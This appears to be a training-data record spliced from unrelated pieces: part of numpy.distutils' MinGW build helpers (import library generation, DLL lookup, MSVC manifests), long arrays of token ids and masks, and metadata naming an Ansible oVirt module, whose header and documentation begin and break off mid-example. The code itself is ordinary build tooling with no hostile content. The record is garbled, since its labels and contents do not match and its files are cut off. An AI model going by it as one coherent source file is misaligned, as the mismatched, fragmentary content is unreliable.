target_desc,
objects,
output_filename,
output_dir,
libraries,
library_dirs,
runtime_library_dirs,
None, #export_symbols, we do this in our def-file
debug,
extra_preargs,
extra_postargs,
build_temp,
target_lang)
if self.gcc_version < "3.0.0":
func = distutils.cygwinccompiler.CygwinCCompiler.link
else:
func = UnixCCompiler.link
func(*args[:func.__code__.co_argcount])
return
def object_filenames (self,
source_filenames,
strip_dir=0,
output_dir=''):
if output_dir is None: output_dir = ''
obj_names = []
for src_name in source_filenames:
# use normcase to make sure '.rc' is really '.rc' and not '.RC'
(base, ext) = os.path.splitext (os.path.normcase(src_name))
# added these lines to strip off windows drive letters
# without it, .o files are placed next to .c files
# instead of the build directory
drv, base = os.path.splitdrive(base)
if drv:
base = base[1:]
if ext not in (self.src_extensions + ['.rc', '.res']):
raise UnknownFileError(
"unknown file type '%s' (from '%s')" % \
(ext, src_name))
if strip_dir:
base = os.path.basename (base)
if ext == '.res' or ext == '.rc':
# these need to be compiled to object files
obj_names.append (os.path.join (output_dir,
base + ext + self.obj_extension))
else:
obj_names.append (os.path.join (output_dir,
base + self.obj_extension))
return obj_names
# object_filenames ()
def find_python_dll():
# We can't do much here:
# - find it in the virtualenv (sys.prefix)
# - find it in python main dir (sys.base_prefix, if in a virtualenv)
# - sys.real_prefix is main dir for virtualenvs in Python 2.7
# - in system32,
# - ortherwise (Sxs), I don't know how to get it.
stems = [sys.prefix]
if hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix:
stems.append(sys.base_prefix)
elif hasattr(sys, 'real_prefix') and sys.real_prefix != sys.prefix:
stems.append(sys.real_prefix)
sub_dirs = ['', 'lib', 'bin']
# generate possible combinations of directory trees and sub-directories
lib_dirs = []
for stem in stems:
for folder in sub_dirs:
lib_dirs.append(os.path.join(stem, folder))
# add system directory as well
if 'SYSTEMROOT' in os.environ:
lib_dirs.append(os.path.join(os.environ['SYSTEMROOT'], 'System32'))
# search in the file system for possible candidates
major_version, minor_version = tuple(sys.version_info[:2])
patterns = ['python%d%d.dll']
for pat in patterns:
dllname = pat % (major_version, minor_version)
print("Looking for %s" % dllname)
for folder in lib_dirs:
dll = os.path.join(folder, dllname)
if os.path.exists(dll):
return dll
raise ValueError("%s not found in %s" % (dllname, lib_dirs))
def dump_table(dll):
st = subprocess.Popen(["objdump.exe", "-p", dll], stdout=subprocess.PIPE)
return st.stdout.readlines()
def generate_def(dll, dfile):
"""Given a dll file location, get all its exported symbols and dump them
into the given def file.
The .def file will be overwritten"""
dump = dump_table(dll)
for i in range(len(dump)):
if _START.match(dump[i].decode()):
break
else:
raise ValueError("Symbol table not found")
syms = []
for j in range(i+1, len(dump)):
m = _TABLE.match(dump[j].decode())
if m:
syms.append((int(m.group(1).strip()), m.group(2)))
else:
break
if len(syms) == 0:
log.warn('No symbols found in %s' % dll)
d = open(dfile, 'w')
d.write('LIBRARY %s\n' % os.path.basename(dll))
d.write(';CODE PRELOAD MOVEABLE DISCARDABLE\n')
d.write(';DATA PRELOAD SINGLE\n')
d.write('\nEXPORTS\n')
for s in syms:
#d.write('@%d %s\n' % (s[0], s[1]))
d.write('%s\n' % s[1])
d.close()
def find_dll(dll_name):
arch = {'AMD64' : 'amd64',
'Intel' : 'x86'}[get_build_architecture()]
def _find_dll_in_winsxs(dll_name):
# Walk through the WinSxS directory to find the dll.
winsxs_path = os.path.join(os.environ['WINDIR'], 'winsxs')
if not os.path.exists(winsxs_path):
return None
for root, dirs, files in os.walk(winsxs_path):
if dll_name in files and arch in root:
return os.path.join(root, dll_name)
return None
def _find_dll_in_path(dll_name):
# First, look in the Python directory, then scan PATH for
# the given dll name.
for path in [sys.prefix] + os.environ['PATH'].split(';'):
filepath = os.path.join(path, dll_name)
if os.path.exists(filepath):
return os.path.abspath(filepath)
return _find_dll_in_winsxs(dll_name) or _find_dll_in_path(dll_name)
def build_msvcr_library(debug=False):
if os.name != 'nt':
return False
# If the version number is None, then we couldn't find the MSVC runtime at
# all, because we are running on a Python distribution which is customed
# compiled; trust that the compiler is the same as the one available to us
# now, and that it is capable of linking with the correct runtime without
# any extra options.
msvcr_ver = msvc_runtime_major()
if msvcr_ver is None:
log.debug('Skip building import library: '
'Runtime is not compiled with MSVC')
return False
# Skip using a custom library for versions < MSVC 8.0
if msvcr_ver < 80:
log.debug('Skip building msvcr library:'
' custom functionality not present')
return False
msvcr_name = msvc_runtime_library()
if debug:
msvcr_name += 'd'
# Skip if custom library already exists
out_name = "lib%s.a" % msvcr_name
out_file = os.path.join(sys.prefix, 'libs', out_name)
if os.path.isfile(out_file):
log.debug('Skip building msvcr library: "%s" exists' %
(out_file,))
return True
# Find the msvcr dll
msvcr_dll_name = msvcr_name + '.dll'
dll_file = find_dll(msvcr_dll_name)
if not dll_file:
log.warn('Cannot build msvcr library: "%s" not found' %
msvcr_dll_name)
return False
def_name = "lib%s.def" % msvcr_name
def_file = os.path.join(sys.prefix, 'libs', def_name)
log.info('Building msvcr library: "%s" (from %s)' \
% (out_file, dll_file))
# Generate a symbol definition file from the msvcr dll
generate_def(dll_file, def_file)
# Create a custom mingw library for the given symbol definitions
cmd = ['dlltool', '-d', def_file, '-l', out_file]
retcode = subprocess.call(cmd)
# Clean up symbol definitions
os.remove(def_file)
return (not retcode)
def build_import_library():
if os.name != 'nt':
return
arch = get_build_architecture()
if arch == 'AMD64':
return _build_import_library_amd64()
elif arch == 'Intel':
return _build_import_library_x86()
else:
raise ValueError("Unhandled arch %s" % arch)
def _check_for_import_lib():
"""Check if an import library for the Python runtime already exists."""
major_version, minor_version = tuple(sys.version_info[:2])
# patterns for the file name of the library itself
patterns = ['libpython%d%d.a',
'libpython%d%d.dll.a',
'libpython%d.%d.dll.a']
# directory trees that may contain the library
stems = [sys.prefix]
if hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix:
stems.append(sys.base_prefix)
elif hasattr(sys, 'real_prefix') and sys.real_prefix != sys.prefix:
stems.append(sys.real_prefix)
# possible subdirectories within those trees where it is placed
sub_dirs = ['libs', 'lib']
# generate a list of candidate locations
candidates = []
for pat in patterns:
filename = pat % (major_version, minor_version)
for stem_dir in stems:
for folder in sub_dirs:
candidates.append(os.path.join(stem_dir, folder, filename))
# test the filesystem to see if we can find any of these
for fullname in candidates:
if os.path.isfile(fullname):
# already exists, in location given
return (True, fullname)
# needs to be built, preferred location given first
return (False, candidates[0])
def _build_import_library_amd64():
out_exists, out_file = _check_for_import_lib()
if out_exists:
log.debug('Skip building import library: "%s" exists', out_file)
return
# get the runtime dll for which we are building import library
dll_file = find_python_dll()
log.info('Building import library (arch=AMD64): "%s" (from %s)' %
(out_file, dll_file))
# generate symbol list from this library
def_name = "python%d%d.def" % tuple(sys.version_info[:2])
def_file = os.path.join(sys.prefix, 'libs', def_name)
generate_def(dll_file, def_file)
# generate import library from this symbol list
cmd = ['dlltool', '-d', def_file, '-l', out_file]
subprocess.Popen(cmd)
def _build_import_library_x86():
""" Build the import libraries for Mingw32-gcc on Windows
"""
out_exists, out_file = _check_for_import_lib()
if out_exists:
log.debug('Skip building import library: "%s" exists', out_file)
return
lib_name = "python%d%d.lib" % tuple(sys.version_info[:2])
lib_file = os.path.join(sys.prefix, 'libs', lib_name)
if not os.path.isfile(lib_file):
# didn't find library file in virtualenv, try base distribution, too,
# and use that instead if found there. for Python 2.7 venvs, the base
# directory is in attribute real_prefix instead of base_prefix.
if hasattr(sys, 'base_prefix'):
base_lib = os.path.join(sys.base_prefix, 'libs', lib_name)
elif hasattr(sys, 'real_prefix'):
base_lib = os.path.join(sys.real_prefix, 'libs', lib_name)
else:
base_lib = '' # os.path.isfile('') == False
if os.path.isfile(base_lib):
lib_file = base_lib
else:
log.warn('Cannot build import library: "%s" not found', lib_file)
return
log.info('Building import library (ARCH=x86): "%s"', out_file)
from numpy.distutils import lib2def
def_name = "python%d%d.def" % tuple(sys.version_info[:2])
def_file = os.path.join(sys.prefix, 'libs', def_name)
nm_cmd = '%s %s' % (lib2def.DEFAULT_NM, lib_file)
nm_output = lib2def.getnm(nm_cmd)
dlist, flist = lib2def.parse_nm(nm_output)
lib2def.output_def(dlist, flist, lib2def.DEF_HEADER, open(def_file, 'w'))
dll_name = find_python_dll ()
args = (dll_name, def_file, out_file)
cmd = 'dlltool --dllname "%s" --def "%s" --output-lib "%s"' % args
status = os.system(cmd)
# for now, fail silently
if status:
log.warn('Failed to build import library for gcc. Linking will fail.')
return
#=====================================
# Dealing with Visual Studio MANIFESTS
#=====================================
# Functions to deal with visual studio manifests. Manifest are a mechanism to
# enforce strong DLL versioning on windows, and has nothing to do with
# distutils MANIFEST. manifests are XML files with version info, and used by
# the OS loader; they are necessary when linking against a DLL not in the
# system path; in particular, official python 2.6 binary is built against the
# MS runtime 9 (the one from VS 2008), which is not available on most windows
# systems; python 2.6 installer does install it in the Win SxS (Side by side)
# directory, but this requires the manifest for this to work. This is a big
# mess, thanks MS for a wonderful system.
# XXX: ideally, we should use exactly the same version as used by python. I
# submitted a patch to get this version, but it was only included for python
# 2.6.1 and above. So for versions below, we use a "best guess".
_MSVCRVER_TO_FULLVER = {}
if sys.platform == 'win32':
try:
import msvcrt
# I took one version in my SxS directory: no idea if it is the good
# one, and we can't retrieve it from python
_MSVCRVER_TO_FULLVER['80'] = "8.0.50727.42"
_MSVCRVER_TO_FULLVER['90'] = "9.0.21022.8"
# Value from msvcrt.CRT_ASSEMBLY_VERSION under Python 3.3.0
# on Windows XP:
_MSVCRVER_TO_FULLVER['100'] = "10.0.30319.460"
if hasattr(msvcrt, "CRT_ASSEMBLY_VERSION"):
major, minor, rest = msvcrt.CRT_ASSEMBLY_VERSION.split(".", 2)
_MSVCRVER_TO_FULLVER[major + minor] = msvcrt.CRT_ASSEMBLY_VERSION
del major, minor, rest
except ImportError:
# If we are here, means python was not built with MSVC. Not sure what
# to do in that case: manifest building will fail, but it should not be
# used in that case anyway
log.warn('Cannot import msvcrt: using manifest will not be possible')
def msvc_manifest_xml(maj, min):
"""Given a major and minor version of the MSVCR, returns the
corresponding XML file."""
try:
fullver = _MSVCRVER_TO_FULLVER[str(maj * 10 + min)]
except KeyError:
raise ValueError("Version %d,%d of MSVCRT not supported yet" %
(maj, min))
# Don't be fooled, it looks like an XML, but it is not. In particular, it
# should not have any space before starting, and its size should be
# divisible by 4, most likely for alignement constraints when the xml is
# embedded in the binary...
# This template was copied directly from the python 2.6 binary (using
# strings.exe from mingw on python.exe).
template = """\
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
</requestedPrivileges>
</security>
</trustInfo>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.VC%(maj)d%(min)d.CRT" version="%(fullver)s" processorArchitecture="*" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>
</dependentAssembly>
</dependency>
</assembly>"""
return template % {'fullver': fullver, 'maj': maj, 'min': min}
def manifest_rc(name, type='dll'):
"""Return the rc file used to generate the res file which will be embedded
as manifest for given manifest file name, of given type ('dll' or
'exe').
Parameters
----------
name : str
name of the manifest file to embed
type : str {'dll', 'exe'}
type of the binary which will embed the manifest
"""
if type == 'dll':
rctype = 2
elif type == 'exe':
rctype = 1
else:
raise ValueError("Type %s not supported" % type)
return """\
#include "winuser.h"
%d RT_MANIFEST %s""" % (rctype, name)
def check_embedded_msvcr_match_linked(msver):
"""msver is the ms runtime version used for the MANIFEST."""
# check msvcr major version are the same for linking and
# embedding
maj = msvc_runtime_major()
if maj:
if not maj == int(msver):
raise ValueError(
"Discrepancy between linked msvcr " \
"(%d) and the one about to be embedded " \
"(%d)" % (int(msver), maj))
def configtest_name(config):
base = os.path.basename(config._gen_temp_sourcefile("yo", [], "c"))
return os.path.splitext(base)[0]
def manifest_name(config):
# Get configest name (including suffix)
root = configtest_name(config)
exext = config.compiler.exe_extension
return root + exext + ".manifest"
def rc_name(config):
# Get configtest name (including suffix)
root = configtest_name(config)
return root + ".rc"
def generate_manifest(config):
msver = get_build_msvc_version()
if msver is not None:
if msver >= 8:
check_embedded_msvcr_match_linked(msver)
ma = int(msver)
mi = int((msver - ma) * 10)
# Write the manifest file
manxml = msvc_manifest_xml(ma, mi)
man = open(manifest_name(config), "w")
config.temp_files.append(manifest_name(config))
man.write(manxml)
man.close()
|
mit
|
[
624,
199,
11532,
1233,
367,
10015,
2018,
5478,
641,
5417,
14,
339,
327,
23350,
8292,
272,
327,
413,
14,
4155,
3238,
1973,
1548,
28,
1023,
10827,
65,
3495,
367,
19443,
14,
221,
982,
440,
12,
1900,
652,
14,
272,
327,
499,
14,
18771,
10061,
370,
675,
19443,
334,
1129,
3984,
620,
1518,
71,
2983,
543,
11694,
35,
436,
486,
1138,
2291,
9,
272,
327,
650,
14,
18771,
10061,
370,
675,
486,
1138,
199,
199,
624,
199,
504,
636,
2443,
363,
492,
4629,
12,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
984,
199,
646,
3873,
199,
646,
295,
199,
199,
3,
7259,
952,
9842,
7065,
14,
67,
5772,
3423,
26,
199,
646,
2680,
14,
13350,
14,
67,
5772,
199,
199,
692,
984,
14,
1023,
63,
815,
59,
16,
61,
665,
650,
26,
272,
687,
1275,
492,
943,
199,
2836,
26,
272,
687,
2680,
14,
13350,
492,
943,
199,
3,
23350,
8292,
199,
3,
413,
14,
4155,
3238,
1973,
1548,
28,
1023,
10827,
65,
3495,
367,
19443,
14,
221,
982,
440,
12,
1900,
652,
14,
199,
3,
499,
14,
18771,
10061,
370,
675,
19443,
334,
1129,
3984,
620,
1518,
71,
2983,
543,
11694,
35,
436,
486,
1138,
2291,
9,
199,
3,
259,
10541,
642,
365,
4224,
315,
2680,
15,
13350,
15,
67,
5772,
14,
647,
199,
3,
650,
14,
18771,
10061,
370,
675,
486,
1138,
199,
199,
646,
7065,
14,
16680,
67,
5772,
199,
504,
7065,
14,
1023,
492,
23052,
3353,
199,
504,
2680,
14,
13350,
14,
67,
5772,
492,
3805,
63,
17677,
63,
1419,
12,
3805,
63,
773,
63,
1419,
199,
504,
7065,
14,
11864,
67,
5772,
492,
13074,
30926,
199,
504,
7065,
14,
19875,
5772,
492,
664,
63,
1506,
63,
1023,
465,
664,
63,
1506,
63,
19875,
63,
1023,
199,
504,
7065,
14,
2550,
492,
334,
12012,
1208,
4858,
547,
12,
24562,
547,
12,
2892,
14831,
25212,
9,
199,
504,
2680,
14,
13350,
14,
9923,
63,
1974,
492,
334,
19875,
63,
7726,
63,
4342,
12,
4318,
333,
10599,
63,
7726,
63,
1023,
12,
4318,
333,
10599,
63,
7726,
63,
8452,
12,
4318,
664,
63,
1506,
63,
19134,
9,
199,
199,
318,
664,
63,
706,
86,
1556,
63,
15895,
837,
272,
408,
29475,
367,
734,
19074,
1015,
402,
664,
63,
706,
86,
1556,
687,
23941,
67,
5772,
624,
272,
11893,
1556,
275,
333,
10599,
63,
7726,
63,
4342,
342,
272,
372,
942,
340,
11893,
1556,
365,
488,
587,
359,
706,
86,
1556,
61,
199,
199,
3,
14198,
13,
2068,
23941,
67,
5772,
543,
4154,
4588,
1015,
687,
18576,
63,
1974,
199,
3,
370,
5126,
10232,
376,
1919,
4915,
641,
2018,
650,
14,
21,
199,
13350,
14,
16680,
67,
5772,
14,
362,
63,
706,
86,
1556,
275,
664,
63,
706,
86,
1556,
63,
15895,
199,
199,
3,
18491,
370,
3550,
1817,
402,
6698,
687,
282,
17112,
199,
63,
7363,
275,
295,
14,
2014,
8,
82,
30181,
2844,
68,
1582,
15,
985,
28833,
32174,
6957,
358,
199,
63,
8723,
275,
295,
14,
2014,
8,
82,
15542,
83,
7896,
59,
16510,
83,
23033,
16,
13,
25,
3672,
2862,
61,
7287,
65,
13,
6353,
13,
58,
16,
13,
25,
15555,
5942,
199,
199,
3,
314,
2011,
465,
23941,
12254,
2005,
4722,
2633,
199,
533,
603,
316,
87,
708,
30926,
8,
13350,
14,
16680,
67,
5772,
14,
35,
18313,
30926,
304,
272,
408,
437,
6042,
603,
316,
55,
708,
6365,
9025,
543,
376,
11694,
35,
6137,
2018,
14,
339,
408,
339,
6365,
63,
466,
275,
283,
14566,
87,
708,
7,
339,
347,
636,
826,
363,
334,
277,
12,
2116,
3376,
29,
16,
12,
2116,
9951,
63,
1065,
29,
16,
12,
2116,
3542,
29,
16,
304,
398,
7065,
14,
16680,
67,
5772,
14,
35,
18313,
30926,
855,
826,
363,
334,
277,
12,
3376,
12,
14663,
9951,
63,
1065,
12,
3542,
9,
398,
327,
781,
1929,
370,
2291,
650,
14,
18,
1314,
3181,
1133,
1336,
314,
4465,
267,
327,
664,
63,
6234,
3102,
5163,
267,
340,
291,
14,
13112,
63,
1023,
365,
488,
26,
288,
492,
295,
288,
299,
275,
3873,
14,
7942,
2941,
13112,
297,
2475,
2724,
1023,
995,
5218,
29,
549,
12,
639,
3839,
29,
5781,
14,
6089,
9,
288,
734,
63,
875,
275,
299,
14,
2703,
14,
739,
342,
288,
299,
14,
2703,
14,
1600,
342,
288,
754,
275,
295,
14,
1733,
8,
82,
13445,
68,
23294,
68,
14705,
734,
63,
875,
9,
288,
340,
754,
26,
355,
291,
14,
13112,
63,
1023,
275,
23052,
3353,
8,
1099,
14,
923,
8,
17,
430,
398,
327,
437,
3363,
333,
316,
87,
708,
3181,
1133,
1929,
370,
4165,
282,
3365,
2397,
2376,
12,
267,
327,
1325,
23941,
499,
14,
3328,
14,
1641,
315,
949,
13,
16680,
13,
632,
4839,
652,
14,
267,
340,
291,
14,
13112,
63,
1023,
2695,
298,
18,
14,
3328,
14,
1641,
582,
288,
2397,
63,
1403,
275,
2850,
2373,
485,
29479,
6756,
32,
713,
7,
267,
587,
26,
288,
2397,
63,
1403,
275,
2125,
398,
340,
291,
14,
20311,
63,
9259,
508,
283,
9259,
3823,
356,
288,
327,
5429,
2509,
734,
2850,
3090,
13,
354,
486,
4176,
7,
1777,
626,
25079,
22965,
288,
327,
257,
486,
4176,
14,
5803,
26,
486,
4176,
26,
3091,
4066,
570,
503,
2082,
288,
327,
1125,
334,
14566,
87,
413,
14,
16,
315,
3447,
898,
1194,
3123,
12,
19443,
13,
19,
14,
20,
14,
21,
680,
288,
327,
982,
314,
1553,
3090,
13,
354,
1777,
365,
1415,
367,
2005,
3734,
288,
327,
2066,
1852,
314,
20396,
402,
642,
1777,
2488,
370,
626,
288,
327,
3734,
14,
288,
291,
14,
20311,
275,
283,
9259,
3823,
7,
327,
221,
1553,
3090,
13,
354,
486,
4176,
7,
267,
916,
291,
14,
20311,
63,
9259,
508,
283,
13112,
356,
288,
291,
14,
20311,
275,
283,
71,
4176,
7,
398,
327,
1011,
6627,
26,
9266,
530,
1335,
4548,
841,
15,
845,
15,
614,
267,
327,
413,
14,
2670,
367,
492,
3555,
641,
5417,
14,
221,
6516,
340,
652,
3181,
1133,
2187,
14,
398,
1900,
63,
646,
63,
4342,
342,
398,
327,
2670,
367,
3537,
333,
10599,
8836,
3555,
641,
5417,
14,
6516,
340,
652,
3181,
1133,
2187,
14,
267,
11893,
1556,
63,
3742,
275,
1900,
63,
706,
86,
1556,
63,
4342
] |
[
199,
11532,
1233,
367,
10015,
2018,
5478,
641,
5417,
14,
339,
327,
23350,
8292,
272,
327,
413,
14,
4155,
3238,
1973,
1548,
28,
1023,
10827,
65,
3495,
367,
19443,
14,
221,
982,
440,
12,
1900,
652,
14,
272,
327,
499,
14,
18771,
10061,
370,
675,
19443,
334,
1129,
3984,
620,
1518,
71,
2983,
543,
11694,
35,
436,
486,
1138,
2291,
9,
272,
327,
650,
14,
18771,
10061,
370,
675,
486,
1138,
199,
199,
624,
199,
504,
636,
2443,
363,
492,
4629,
12,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
984,
199,
646,
3873,
199,
646,
295,
199,
199,
3,
7259,
952,
9842,
7065,
14,
67,
5772,
3423,
26,
199,
646,
2680,
14,
13350,
14,
67,
5772,
199,
199,
692,
984,
14,
1023,
63,
815,
59,
16,
61,
665,
650,
26,
272,
687,
1275,
492,
943,
199,
2836,
26,
272,
687,
2680,
14,
13350,
492,
943,
199,
3,
23350,
8292,
199,
3,
413,
14,
4155,
3238,
1973,
1548,
28,
1023,
10827,
65,
3495,
367,
19443,
14,
221,
982,
440,
12,
1900,
652,
14,
199,
3,
499,
14,
18771,
10061,
370,
675,
19443,
334,
1129,
3984,
620,
1518,
71,
2983,
543,
11694,
35,
436,
486,
1138,
2291,
9,
199,
3,
259,
10541,
642,
365,
4224,
315,
2680,
15,
13350,
15,
67,
5772,
14,
647,
199,
3,
650,
14,
18771,
10061,
370,
675,
486,
1138,
199,
199,
646,
7065,
14,
16680,
67,
5772,
199,
504,
7065,
14,
1023,
492,
23052,
3353,
199,
504,
2680,
14,
13350,
14,
67,
5772,
492,
3805,
63,
17677,
63,
1419,
12,
3805,
63,
773,
63,
1419,
199,
504,
7065,
14,
11864,
67,
5772,
492,
13074,
30926,
199,
504,
7065,
14,
19875,
5772,
492,
664,
63,
1506,
63,
1023,
465,
664,
63,
1506,
63,
19875,
63,
1023,
199,
504,
7065,
14,
2550,
492,
334,
12012,
1208,
4858,
547,
12,
24562,
547,
12,
2892,
14831,
25212,
9,
199,
504,
2680,
14,
13350,
14,
9923,
63,
1974,
492,
334,
19875,
63,
7726,
63,
4342,
12,
4318,
333,
10599,
63,
7726,
63,
1023,
12,
4318,
333,
10599,
63,
7726,
63,
8452,
12,
4318,
664,
63,
1506,
63,
19134,
9,
199,
199,
318,
664,
63,
706,
86,
1556,
63,
15895,
837,
272,
408,
29475,
367,
734,
19074,
1015,
402,
664,
63,
706,
86,
1556,
687,
23941,
67,
5772,
624,
272,
11893,
1556,
275,
333,
10599,
63,
7726,
63,
4342,
342,
272,
372,
942,
340,
11893,
1556,
365,
488,
587,
359,
706,
86,
1556,
61,
199,
199,
3,
14198,
13,
2068,
23941,
67,
5772,
543,
4154,
4588,
1015,
687,
18576,
63,
1974,
199,
3,
370,
5126,
10232,
376,
1919,
4915,
641,
2018,
650,
14,
21,
199,
13350,
14,
16680,
67,
5772,
14,
362,
63,
706,
86,
1556,
275,
664,
63,
706,
86,
1556,
63,
15895,
199,
199,
3,
18491,
370,
3550,
1817,
402,
6698,
687,
282,
17112,
199,
63,
7363,
275,
295,
14,
2014,
8,
82,
30181,
2844,
68,
1582,
15,
985,
28833,
32174,
6957,
358,
199,
63,
8723,
275,
295,
14,
2014,
8,
82,
15542,
83,
7896,
59,
16510,
83,
23033,
16,
13,
25,
3672,
2862,
61,
7287,
65,
13,
6353,
13,
58,
16,
13,
25,
15555,
5942,
199,
199,
3,
314,
2011,
465,
23941,
12254,
2005,
4722,
2633,
199,
533,
603,
316,
87,
708,
30926,
8,
13350,
14,
16680,
67,
5772,
14,
35,
18313,
30926,
304,
272,
408,
437,
6042,
603,
316,
55,
708,
6365,
9025,
543,
376,
11694,
35,
6137,
2018,
14,
339,
408,
339,
6365,
63,
466,
275,
283,
14566,
87,
708,
7,
339,
347,
636,
826,
363,
334,
277,
12,
2116,
3376,
29,
16,
12,
2116,
9951,
63,
1065,
29,
16,
12,
2116,
3542,
29,
16,
304,
398,
7065,
14,
16680,
67,
5772,
14,
35,
18313,
30926,
855,
826,
363,
334,
277,
12,
3376,
12,
14663,
9951,
63,
1065,
12,
3542,
9,
398,
327,
781,
1929,
370,
2291,
650,
14,
18,
1314,
3181,
1133,
1336,
314,
4465,
267,
327,
664,
63,
6234,
3102,
5163,
267,
340,
291,
14,
13112,
63,
1023,
365,
488,
26,
288,
492,
295,
288,
299,
275,
3873,
14,
7942,
2941,
13112,
297,
2475,
2724,
1023,
995,
5218,
29,
549,
12,
639,
3839,
29,
5781,
14,
6089,
9,
288,
734,
63,
875,
275,
299,
14,
2703,
14,
739,
342,
288,
299,
14,
2703,
14,
1600,
342,
288,
754,
275,
295,
14,
1733,
8,
82,
13445,
68,
23294,
68,
14705,
734,
63,
875,
9,
288,
340,
754,
26,
355,
291,
14,
13112,
63,
1023,
275,
23052,
3353,
8,
1099,
14,
923,
8,
17,
430,
398,
327,
437,
3363,
333,
316,
87,
708,
3181,
1133,
1929,
370,
4165,
282,
3365,
2397,
2376,
12,
267,
327,
1325,
23941,
499,
14,
3328,
14,
1641,
315,
949,
13,
16680,
13,
632,
4839,
652,
14,
267,
340,
291,
14,
13112,
63,
1023,
2695,
298,
18,
14,
3328,
14,
1641,
582,
288,
2397,
63,
1403,
275,
2850,
2373,
485,
29479,
6756,
32,
713,
7,
267,
587,
26,
288,
2397,
63,
1403,
275,
2125,
398,
340,
291,
14,
20311,
63,
9259,
508,
283,
9259,
3823,
356,
288,
327,
5429,
2509,
734,
2850,
3090,
13,
354,
486,
4176,
7,
1777,
626,
25079,
22965,
288,
327,
257,
486,
4176,
14,
5803,
26,
486,
4176,
26,
3091,
4066,
570,
503,
2082,
288,
327,
1125,
334,
14566,
87,
413,
14,
16,
315,
3447,
898,
1194,
3123,
12,
19443,
13,
19,
14,
20,
14,
21,
680,
288,
327,
982,
314,
1553,
3090,
13,
354,
1777,
365,
1415,
367,
2005,
3734,
288,
327,
2066,
1852,
314,
20396,
402,
642,
1777,
2488,
370,
626,
288,
327,
3734,
14,
288,
291,
14,
20311,
275,
283,
9259,
3823,
7,
327,
221,
1553,
3090,
13,
354,
486,
4176,
7,
267,
916,
291,
14,
20311,
63,
9259,
508,
283,
13112,
356,
288,
291,
14,
20311,
275,
283,
71,
4176,
7,
398,
327,
1011,
6627,
26,
9266,
530,
1335,
4548,
841,
15,
845,
15,
614,
267,
327,
413,
14,
2670,
367,
492,
3555,
641,
5417,
14,
221,
6516,
340,
652,
3181,
1133,
2187,
14,
398,
1900,
63,
646,
63,
4342,
342,
398,
327,
2670,
367,
3537,
333,
10599,
8836,
3555,
641,
5417,
14,
6516,
340,
652,
3181,
1133,
2187,
14,
267,
11893,
1556,
63,
3742,
275,
1900,
63,
706,
86,
1556,
63,
4342,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
petemounce/ansible
|
lib/ansible/modules/cloud/ovirt/ovirt_snapshots_facts.py
|
45
|
4381
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
ANSIBLE_METADATA = {'metadata_version': '1.0',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: ovirt_snapshots_facts
short_description: Retrieve facts about one or more oVirt/RHV virtual machine snapshots
author: "Ondra Machacek (@machacekondra)"
version_added: "2.3"
description:
- "Retrieve facts about one or more oVirt/RHV virtual machine snapshots."
notes:
- "This module creates a new top-level C(ovirt_snapshots) fact, which
contains a list of snapshots."
options:
vm:
description:
- "Name of the VM with snapshot."
required: true
description:
description:
- "Description of the snapshot, can be used as glob expression."
snapshot_id:
description:
- "Id of the snaphost we want to retrieve facts about."
extends_documentation_fragment: ovirt_facts
'''
EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:
# Gather facts about all snapshots which description start with C(update) for VM named C(centos7):
- ovirt_snapshots_facts:
vm: centos7
description: update*
